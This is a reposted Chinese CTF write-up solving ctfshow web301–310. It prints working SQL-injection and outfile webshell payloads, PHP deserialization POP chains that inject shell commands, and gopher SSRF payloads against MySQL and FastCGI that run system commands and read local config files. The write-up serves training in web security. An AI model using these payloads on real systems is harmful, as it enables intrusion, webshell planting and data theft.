web301
下载下来源码,发现checklogin.php里面的sql语句没有任何的过滤。
所以直接注入就可以了。用sqlmap跑了下得到用户名密码 admin ctfshowwwww登陆进去就有flag
python sqlmap.py -u http://e62c174a-c4d4-4a58-a392-a41bfca926ee.chall.ctf.show/checklogin.php --form --batch --dump
然后我们也也可以写个木马
userid=a ' union select "" into outfile "/var/www/html/a.php"%23&userpwd=b
发现当前目录下有flag.php打开即可得到flag。
web302
根据提示
修改的地方: if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
我们发现他用的是$row['sds_password']),也就是他已经执行完了sql语句,所以我们不用管他判断后会怎样。直接在checklogin.php写shell就行了
payload
userid=a ' union select "" into outfile "/var/www/html/a.php"%23&userpwd=b
web303
在dptadd.php中存在注入点
有个insert而且没有任何过滤。插入的数据会在dpt.php中查询出来
但是有个前提,必须得先登陆成功
有几个地方需要注意,用户名有长度限制,而且查询语句没有用到userpwd,
查询成功后会进行比较。
那用户名我们就老老实实的写个admin。密码我怎么也不知道怎么弄,后来随便试了下admin,结果成功了=_= 。。。。。
剩下的就简单了,在dptadd.php中进行注入。
payload:
查表名
dpt_name=1',sds_address =(select group_concat(table_name) from information_schema.tables where table_schema=database())%23
查列名
dpt_name=1',sds_address =(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')%23
查数据
dpt_name=1',sds_address =(select flag from sds_fl9g)%23
web304
没找到waf 就改了下表名 sds_flaag
还是上面的payload
web305
多了个waf和class.php
先看下waf,基本上注入没有啥希望了。再看下class.php。有个写文件操作。
在checklogin.php中存在反序列化的点。
所以传个cookie就可以了
poc:
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
echo serialize(new user('a.php',''));1
2
3
4
5
6
7
8
9
10
然后抓包传cookie,编码一下就可以了。
然后用蚁剑去连数据库,就能找到flag了。
web306
存在反序列化函数,那我们找下有没有__wakeup或者__destruct发现有个destruct
那么在找下有没有可以利用的函数,一般就是读文件、写文件、执行系统命令这几种类型的函数。
发现存在file_put_contents
需要调用一个close()方法,找下哪些地方有调用close的,在dao.php中找到一个,并且正好是__destruct内。
也就是说如果我们让$this->coon是log类,那么当反序列化时就会去调用log类中的close函数。
因为dao.php中包含了class.php所以只要找个包含dao.php的文件就可以了。
index.php就是我们可以利用的
poc
class dao{
private $conn;
public function __construct(){
$this->conn=new log();
}
}
class log{
public $title='a.php';
public $info='';
}
$a=new dao();
echo base64_encode(serialize($a));1
2
3
4
5
6
7
8
9
10
11
12
13
14
传到cookie里面访问下index.php就可以生成木马了。
web307
开局先搜了下unserialize发现了四个。。。。。那我们先找可利用的函数,找到个shell_exec,然后找调用的地方。
有两处,比较一下就可以发现logout.php中的很好用
只要修改下config类中的$cache_dir然后命令拼接下就行了。
我们这个反序列化出来的service有两个选择,一个是生成service类,一个是生成dao类。两个都可以调用clearCache函数,但是service是通过dao类调用的clearCache。所以我们不需要用到service类。直接
poc:
class config{
public $cache_dir = ';echo "" >a.php;';//linux的shell里面$有特殊意义所以转义一下。
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a=new dao();
echo base64_encode(serialize($a));
?>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
反序列化后会生成dao类,然后去调用clearCache函数,这时的cache_dir我们已经修改了。
web308
与上一题相比,命令执行利用点增加了过滤。输入的内容中只允许存在字母,所以这个利用点我们放弃。
然后在fun.php处多了个ssrf利用点。
找具体的调用位置,在dao.php中被调用。我们再来找checkVersion在哪被调用。
在index.php中存在利用点。跟上一题基本差不多.
poc
class config{
public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%22%01%00%00%00%01';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a=new dao();
echo base64_encode(serialize($a));
?>1
2
3
4
5
6
7
8
9
10
11
12
13
14
具体的值通过gopherus生成
下载地址https://github.com/tarunkant/Gopherus
把生成的poc传到cookie中,然后就会生成a.php,剩下的就简单了。
web309
打的不是mysql了,打的是fastcgi.探测是通过gopher协议的延迟判断的
gopher://127.0.0.1:9000
poc:
class config{
public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27cat%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a=new dao();
echo base64_encode(serialize($a));
?>1
2
3
4
5
6
7
8
9
10
11
12
13
14
web310
9000和6379都是关着的。那我们可以试试读下配置文件
poc
class config{
public $update_url = 'file:///etc/nginx/nginx.conf';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a=new dao();
echo base64_encode(serialize($a));
?>1
2
3
4
5
6
7
8
9
10
11
12
13
14
得到关键信息
server { listen 4476; server_name localhost; root /var/flag; index index.html; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; }1
2
3
4
5
6
7
8
9
10
接着访问下
poc
class config{
public $update_url = 'http://127.0.0.1:4476';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a=new dao();
echo base64_encode(serialize($a));
?>1
2
3
4
5
6
7
8
9
10
11
12
13
得到flag,flag需要大家仔细找下。
文章来源: blog.csdn.net,作者:yu22x,版权归原作者所有,如需转载,请联系作者。
原文链接:blog.csdn.net/miuzzx/article/details/111352849